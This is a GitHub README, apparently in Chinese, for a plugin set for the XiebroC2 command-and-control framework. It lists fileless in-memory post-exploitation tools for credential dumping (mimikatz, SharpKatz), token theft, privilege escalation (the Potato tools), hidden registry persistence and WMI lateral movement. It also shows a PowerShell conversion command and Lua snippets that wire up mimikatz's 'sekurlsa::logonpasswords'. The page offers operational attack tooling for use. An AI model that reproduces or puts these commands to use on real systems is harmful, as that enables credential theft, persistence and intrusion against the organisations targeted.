Skip to content

INotGreen/Xiebro-Plugins

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

47 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

使用

git clone https://github.com/INotGreen/Xiebro-Plugins.git

Manage->Plugins->Load,加载main.lua即可

载入Sesion中你会得到更多得命令

image-20240818163749325

工具

目前已经扩展下面的工具,全部采用无文件落地的方式进行内存加载

工具 描述
fscan 内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
mimikatz 从内存中提取明文密码、哈希、PIN 码和 Kerberos 票证
RegHide 添加隐藏注册表启动项
SharpKatz mimikatz的C#版本,用于获取明文密码和dcsync
SharpScan 内网资产收集、探测主机存活、端口扫描、域控定位、文件搜索、密码爆破和账号枚举
SharpToken Token窃取,切换System和administrator权限,用于提权降权场景
SweetPotato 将服务器权限提升至System权限
SharpWMI 基于135端口的横向移动工具,可以执行命令,上传文件
BadPotato 将服务器权限提升至System权限
GodPotato 将服务器权限提升至System权限

XiebroC2的插件做到极度的简洁化,几乎只需一行代码你就可以为它添加一个外部命令

用Convert.ps1脚本可以直接将C/C++/Go/rust/.net/Bin等PE直接转成lua脚本

Import-Module .\Convert.ps1
Convert-ExeToBase64Lua -i "C:\Users\admin\Desktop\mimikatz.exe" -o "mimikatz.lua" -Command "Mimikatz" -LoadModule "inline-execute" -Description "Get windows password credentials" -Usage "Mimikatz <args>"

参数解释

-i:            选择输入的文件
-o:            输出的文件
-Command:      命令的名称
-LoadModule:   加载模式
-Description:  描述
-Usage:        使用方法

用于添加外部命令的函数主要有两个,AddCommand_W和AddCommand_A的区别在于:AddCommand_A打包了exe的使用参数,例如你可以直接使用logonpassword ,可以这样:

AddCommand_A(
    "logonpasswords",                                      --命令名称
     mimikatz,                                            --Base64Compress
    "privilege::debug sekurlsa::logonpasswords exit",      --exe的参数
    "inline-execute",                                      --加载模式
    "Get password credentials on windows",                 --命令描述
    "logonpasswords"                                       --使用方法
);

如果不需要参数,则直接使用AddCommand_W

AddCommand_W(
    "mimikatz",
    mimikatz,
    "inline-execute",
    "Get password credentials on windows",
    "mimikatz <args>"
);

这里的LoadModule(加载模式)有四种

inline-execute                                     --内联加载C/C++/go/rust的exe文件
inline-execute-bin                                 --内联加载C/C++/go/rust的bin文件
inline-assembly	                                   --内联加载.net文件
execute-assembly                                   --Fork&&Run模式(创建子进程)进行内存加载.net文件

About

xiebroC2 plugin

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages